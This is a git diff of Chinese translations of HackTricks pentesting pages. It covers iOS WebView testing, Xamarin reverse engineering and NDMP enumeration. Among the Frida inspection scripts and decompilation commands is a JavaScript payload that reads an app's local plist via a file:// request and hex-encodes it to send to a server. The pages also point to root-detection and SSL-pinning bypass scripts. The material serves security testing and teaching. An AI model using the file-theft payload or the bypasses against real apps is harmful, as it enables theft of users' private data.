动态分析涉及检查堆中的 WebView 实例及其属性。为此,使用名为 `webviews_inspector.js` 的脚本,目标是 `UIWebView`、`WKWebView` 和 `SFSafariViewController` 实例。它记录有关找到的实例的信息,包括 URL 以及与 JavaScript 和安全内容相关的设置。
|
||||
|
||||
可以使用 `ObjC.choose()` 进行堆检查,以识别 WebView 实例并检查 `javaScriptEnabled` 和 `hasonlysecurecontent` 属性。
|
||||
|
||||
|
@ -120,30 +121,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
脚本是这样执行的:
|
||||
脚本的执行方式为:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**关键结果**:
|
||||
- 成功定位和检查 WebView 实例。
|
||||
- 验证 JavaScript 启用和安全内容设置。
|
||||
**关键结果**:
|
||||
- 成功定位和检查了 WebViews 实例。
|
||||
- 验证了 JavaScript 启用和安全内容设置。
|
||||
|
||||
这份摘要概括了通过静态和动态方法分析 WebView 配置所涉及的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全功能。
|
||||
此摘要概括了通过静态和动态方法分析 WebView 配置的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全特性。
|
||||
|
||||
## WebView 协议处理
|
||||
|
||||
在 WebView 中处理内容是一个关键方面,特别是在处理诸如 `http(s)://`、`file://` 和 `tel://` 等各种协议时。这些协议允许应用程序加载远程和本地内容。强调了在加载本地内容时,必须采取预防措施,防止用户影响文件的名称或路径,并防止编辑内容本身。
|
||||
在 WebViews 中处理内容是一个关键方面,特别是在处理各种协议时,如 `http(s)://`、`file://` 和 `tel://`。这些协议使得在应用程序中加载远程和本地内容成为可能。强调在加载本地内容时,必须采取预防措施,以防止用户影响文件的名称或路径以及编辑内容本身。
|
||||
|
||||
**WebViews** 提供了不同的内容加载方法。对于 **UIWebView**(现已弃用),使用 `loadHTMLString:baseURL:` 和 `loadData:MIMEType:textEncodingName:baseURL:` 等方法。另一方面,**WKWebView** 使用 `loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:` 和 `loadRequest:` 来加载 web 内容。通常使用 `pathForResource:ofType:`、`URLForResource:withExtension:` 和 `init(contentsOf:encoding:)` 等方法来加载本地文件。特别值得注意的是 `loadFileURL:allowingReadAccessToURL:` 方法,它能够将特定 URL 或目录加载到 WebView 中,如果指定了目录,则可能会暴露敏感数据。
|
||||
**WebViews** 提供了不同的内容加载方法。对于 **UIWebView**,现在已被弃用,使用 `loadHTMLString:baseURL:` 和 `loadData:MIMEType:textEncodingName:baseURL:` 等方法。另一方面,**WKWebView** 使用 `loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:` 和 `loadRequest:` 来加载网页内容。通常使用 `pathForResource:ofType:`、`URLForResource:withExtension:` 和 `init(contentsOf:encoding:)` 方法来加载本地文件。`loadFileURL:allowingReadAccessToURL:` 方法特别值得注意,因为它能够将特定的 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。
|
||||
|
||||
要在源代码或编译后的二进制文件中找到这些方法,可以使用以下命令:
|
||||
要在源代码或编译的二进制文件中找到这些方法,可以使用以下命令:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
关于**文件访问**,UIWebView允许全局访问,而WKWebView引入了`allowFileAccessFromFileURLs`和`allowUniversalAccessFromFileURLs`设置来管理从文件URL的访问,两者默认值均为false。
|
||||
关于**文件访问**,UIWebView允许它的普遍访问,而WKWebView引入了`allowFileAccessFromFileURLs`和`allowUniversalAccessFromFileURLs`设置来管理来自文件URL的访问,默认情况下这两个设置都是false。
|
||||
|
||||
提供了一个Frida脚本示例,用于检查**WKWebView**的安全设置配置:
|
||||
提供了一个Frida脚本示例来检查**WKWebView**的安全设置配置:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
|
@ -161,7 +162,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
最后,一个旨在窃取本地文件的JavaScript有效载荷示例展示了与未正确配置的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前将其编码为十六进制格式,突显了在WebView实现中采取严格安全措施的重要性。
|
||||
最后,一个旨在提取本地文件的JavaScript有效负载示例展示了与配置不当的WebViews相关的潜在安全风险。该有效负载在将文件内容传输到服务器之前,将其编码为十六进制格式,突显了在WebView实现中严格安全措施的重要性。
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -184,24 +185,24 @@ xhr2.send(null);
|
|||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## 通过 WebView 暴露的本地方法
|
||||
## Native Methods Exposed Through WebViews
|
||||
|
||||
## 了解 iOS 中的 WebView 本地接口
|
||||
## Understanding WebView Native Interfaces in iOS
|
||||
|
||||
从 iOS 7 开始,苹果提供了用于在 WebView 中的 JavaScript 和本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:
|
||||
从 iOS 7 开始,Apple 提供了用于 **在 WebView 中的 JavaScript 与本地** Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:
|
||||
|
||||
- **JSContext**:当将 Swift 或 Objective-C 块链接到 `JSContext` 中的标识符时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间实现无缝集成和通信。
|
||||
- **JSExport 协议**:通过继承 `JSExport` 协议,本地属性、实例方法和类方法可以暴露给 JavaScript。这意味着在 JavaScript 环境中进行的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过此方法无意中暴露敏感数据。
|
||||
- **JSContext**:当 Swift 或 Objective-C 块与 `JSContext` 中的标识符链接时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间无缝集成和通信。
|
||||
- **JSExport Protocol**:通过继承 `JSExport` 协议,可以将本地属性、实例方法和类方法暴露给 JavaScript。这意味着在 JavaScript 环境中所做的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过这种方法不会意外暴露敏感数据。
|
||||
|
||||
### 在 Objective-C 中访问 `JSContext`
|
||||
### Accessing `JSContext` in Objective-C
|
||||
|
||||
在 Objective-C 中,可以使用以下代码行检索 `UIWebView` 的 `JSContext`:
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
### 与 `WKWebView` 通信
|
||||
### Communication with `WKWebView`
|
||||
|
||||
对于 `WKWebView`,无法直接访问 `JSContext`。相反,通过 `postMessage` 函数进行消息传递,从而实现 JavaScript 到本地通信。设置这些消息的处理程序如下,使 JavaScript 能够安全地与本地应用程序进行交互:
|
||||
对于 `WKWebView`,无法直接访问 `JSContext`。相反,通过 `postMessage` 函数利用消息传递,实现 JavaScript 与原生的通信。这些消息的处理程序设置如下,使 JavaScript 能够安全地与原生应用程序进行交互:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -214,9 +215,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
}
|
||||
}
|
||||
```
|
||||
### 交互和测试
|
||||
### Interaction and Testing
|
||||
|
||||
JavaScript 可以通过定义脚本消息处理程序与原生层交互。这允许执行诸如从网页调用原生函数之类的操作:
|
||||
JavaScript可以通过定义脚本消息处理程序与本地层进行交互。这允许从网页调用本地函数等操作:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -227,7 +228,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
|||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
要捕获和操纵本地函数调用的结果,可以在HTML中覆盖回调函数:
|
||||
要捕获和操纵原生函数调用的结果,可以在HTML中覆盖回调函数:
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
|
@ -238,7 +239,7 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
原生端处理JavaScript调用,如在`JavaScriptBridgeMessageHandler`类中所示,处理诸如数字相乘等操作的结果,并将其发送回JavaScript以供显示或进一步操作:
|
||||
本地端处理JavaScript调用,如`JavaScriptBridgeMessageHandler`类所示,其中对诸如数字相乘等操作的结果进行处理,并发送回JavaScript以供显示或进一步操作:
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
// Handling "multiplyNumbers" operation
|
||||
|
@ -251,40 +252,41 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
|
|||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
}
|
||||
```
|
||||
## iOS WebViews调试
|
||||
## 调试 iOS WebViews
|
||||
|
||||
(基于[https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)上的教程)
|
||||
(基于 [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews) 的教程)
|
||||
|
||||
要有效地调试iOS webviews中的网页内容,需要特定的设置,涉及到Safari的开发者工具,因为发送到`console.log()`的消息不会显示在Xcode日志中。以下是一个简化的指南,强调关键步骤和要求:
|
||||
要有效调试 iOS webviews 中的网页内容,需要特定的设置,涉及 Safari 的开发者工具,因为发送到 `console.log()` 的消息不会显示在 Xcode 日志中。以下是简化的指南,强调关键步骤和要求:
|
||||
|
||||
- **iOS设备上的准备工作**:需要在您的iOS设备上激活Safari Web Inspector。方法是转到**设置 > Safari > 高级**,并启用_Web Inspector_。
|
||||
- **在 iOS 设备上的准备**:需要在您的 iOS 设备上激活 Safari Web Inspector。通过进入 **设置 > Safari > 高级**,并启用 _Web Inspector_ 来完成此操作。
|
||||
|
||||
- **macOS设备上的准备工作**:在您的macOS开发机器上,必须在Safari中启用开发者工具。启动Safari,访问**Safari > 首选项 > 高级**,并选择选项_Show Develop menu_。
|
||||
- **在 macOS 设备上的准备**:在您的 macOS 开发机器上,必须在 Safari 中启用开发者工具。启动 Safari,访问 **Safari > 偏好设置 > 高级**,并选择 _显示开发菜单_ 的选项。
|
||||
|
||||
- **连接和调试**:连接您的iOS设备到您的macOS计算机并启动应用程序后,使用您的macOS设备上的Safari选择要调试的webview。在Safari的菜单栏中导航到_Develop_,悬停在您的iOS设备名称上以查看webview实例列表,并选择您希望检查的实例。将为此目的打开一个新的Safari Web Inspector窗口。
|
||||
- **连接和调试**:将您的 iOS 设备连接到 macOS 计算机并启动您的应用程序后,使用 macOS 设备上的 Safari 选择您要调试的 webview。在 Safari 菜单栏中导航到 _开发_,将鼠标悬停在您的 iOS 设备名称上以查看 webview 实例列表,并选择您希望检查的实例。为此目的将打开一个新的 Safari Web Inspector 窗口。
|
||||
|
||||
然而,要注意以下限制:
|
||||
但是,请注意以下限制:
|
||||
|
||||
- 使用此方法进行调试需要一个macOS设备,因为它依赖于Safari。
|
||||
- 只有通过Xcode加载到您的设备上的应用程序中的webviews才能够进行调试。通过App Store或Apple Configurator安装的应用程序中的webviews无法以这种方式进行调试。
|
||||
- 使用此方法进行调试需要一台 macOS 设备,因为它依赖于 Safari。
|
||||
- 只有通过 Xcode 加载到您的设备上的应用程序中的 webviews 才有资格进行调试。通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews 不能以这种方式进行调试。
|
||||
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,84 @@
|
|||
# Xamarin 应用
|
||||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
这是博客文章[https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)的摘要
|
||||
这是博客文章 [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) 的摘要
|
||||
|
||||
## **基本信息**
|
||||
|
||||
Xamarin 是一个为开发人员设计的**开源平台**,可使用 .NET 和 C# 框架**构建 iOS、Android 和 Windows 应用**。该平台提供访问众多工具和扩展,以高效创建现代应用程序。
|
||||
Xamarin 是一个 **开源平台**,旨在帮助开发人员使用 .NET 和 C# 框架 **构建 iOS、Android 和 Windows 应用**。该平台提供了众多工具和扩展,以高效创建现代应用程序。
|
||||
|
||||
### Xamarin 的架构
|
||||
|
||||
- 对于**Android**,Xamarin 通过 .NET 绑定与 Android 和 Java 命名空间集成,在 Mono 执行环境中与 Android Runtime (ART) 一起运行。托管可调用包装器 (MCW) 和 Android 可调用包装器 (ACW) 促进了 Mono 和 ART 之间的通信,两者都建立在 Linux 内核上。
|
||||
- 对于**iOS**,应用程序在 Mono 运行时下运行,利用完全的 Ahead of Time (AOT) 编译将 C# .NET 代码转换为 ARM 汇编语言。此过程与 Objective-C Runtime 在类 UNIX 内核上运行。
|
||||
- 对于 **Android**,Xamarin 通过 .NET 绑定与 Android 和 Java 命名空间集成,在 Mono 执行环境中与 Android Runtime (ART) 一起运行。托管可调用包装器 (MCW) 和 Android 可调用包装器 (ACW) 促进 Mono 和 ART 之间的通信,二者均基于 Linux 内核构建。
|
||||
- 对于 **iOS**,应用程序在 Mono 运行时下运行,利用完整的提前编译 (AOT) 将 C# .NET 代码转换为 ARM 汇编语言。此过程与 UNIX 类内核上的 Objective-C 运行时一起运行。
|
||||
|
||||
### .NET 运行时和 Mono 框架
|
||||
|
||||
**.NET 框架**包括用于应用程序开发的程序集、类和命名空间,.NET 运行时管理代码执行。它提供平台独立性和向后兼容性。**Mono 框架**是 .NET 框架的开源版本,于 2005 年启动,旨在将 .NET 扩展到 Linux,现在得到 Microsoft 的支持,并由 Xamarin 领导。
|
||||
**.NET 框架** 包含用于应用程序开发的程序集、类和命名空间,.NET 运行时管理代码执行。它提供平台独立性和向后兼容性。**Mono 框架** 是 .NET 框架的开源版本,始于 2005 年,旨在将 .NET 扩展到 Linux,现在由 Microsoft 支持并由 Xamarin 主导。
|
||||
|
||||
### 反向工程 Xamarin 应用
|
||||
|
||||
#### 反编译 Xamarin 程序集
|
||||
#### Xamarin 程序集的反编译
|
||||
|
||||
反编译将编译后的代码转换回源代码。在 Windows 中,Visual Studio 的模块窗口可以识别用于反编译的模块,从而直接访问第三方代码并提取源代码进行分析。
|
||||
反编译将编译后的代码转换回源代码。在 Windows 中,Visual Studio 的模块窗口可以识别可反编译的模块,允许直接访问第三方代码并提取源代码进行分析。
|
||||
|
||||
#### JIT vs AOT 编译
|
||||
#### JIT 与 AOT 编译
|
||||
|
||||
- **Android**支持即时 (JIT) 和提前 (AOT) 编译,具有混合 AOT 模式以获得最佳执行速度。完全 AOT 仅适用于企业许可证。
|
||||
- **iOS**由于苹果对动态代码执行的限制,仅使用 AOT 编译。
|
||||
- **Android** 支持即时编译 (JIT) 和提前编译 (AOT),并具有混合 AOT 模式以实现最佳执行速度。完整 AOT 仅限于企业许可证。
|
||||
- **iOS** 仅采用 AOT 编译,因为 Apple 对动态代码执行有严格限制。
|
||||
|
||||
### 从 APK/IPA 中提取 dll 文件
|
||||
|
||||
要访问 APK/IPA 中的程序集,请解压文件并浏览程序集目录。对于 Android,可以使用 [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 和 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) 等工具解压缩 dll 文件。
|
||||
要访问 APK/IPA 中的程序集,请解压文件并浏览程序集目录。对于 Android,可以使用 [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 和 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) 等工具解压 dll 文件。
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
对于 Android 中的汇编 blob,[pyxamstore](https://github.com/jakev/pyxamstore) 可以对其进行解包。
|
||||
对于Android中的assembly blobs,[pyxamstore](https://github.com/jakev/pyxamstore)可以解压它们。
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS的dll文件可以轻松访问并进行反编译,揭示应用程序代码的重要部分,这些部分通常在不同平台上共享相同的基础。
|
||||
iOS dll 文件可以轻松访问以进行反编译,揭示了应用程序代码的显著部分,这些代码通常在不同平台之间共享一个共同的基础。
|
||||
|
||||
### 动态分析
|
||||
|
||||
动态分析涉及检查SSL绑定并使用类似[Fridax](https://github.com/NorthwaveSecurity/fridax)的工具对Xamarin应用程序中的.NET二进制文件进行运行时修改。Frida脚本可用于绕过root检测或SSL绑定,增强分析能力。
|
||||
动态分析涉及检查 SSL 钉扎,并使用像 [Fridax](https://github.com/NorthwaveSecurity/fridax) 这样的工具对 Xamarin 应用中的 .NET 二进制文件进行运行时修改。Frida 脚本可用于绕过根检测或 SSL 钉扎,从而增强分析能力。
|
||||
|
||||
其他有趣的Frida脚本:
|
||||
其他有趣的 Frida 脚本:
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
|
||||
## 更多信息
|
||||
## 进一步信息
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **协议信息**
|
||||
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP**,或**网络数据管理协议**,是一种用于在网络附加存储\([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\)设备和[备份](https://en.wikipedia.org/wiki/Backup)设备之间传输数据的协议。这消除了通过备份服务器本身传输数据的需要,从而提高了速度并减轻了备份服务器的负担。
|
||||
> **NDMP**,或 **网络数据管理协议**,是一种旨在在网络附加存储 \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) 设备和 [备份](https://en.wikipedia.org/wiki/Backup) 设备之间传输数据的协议。这消除了通过备份服务器本身传输数据的需要,从而提高了速度并减轻了备份服务器的负担。
|
||||
|
||||
**默认端口:** 10000
|
||||
```text
|
||||
|
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
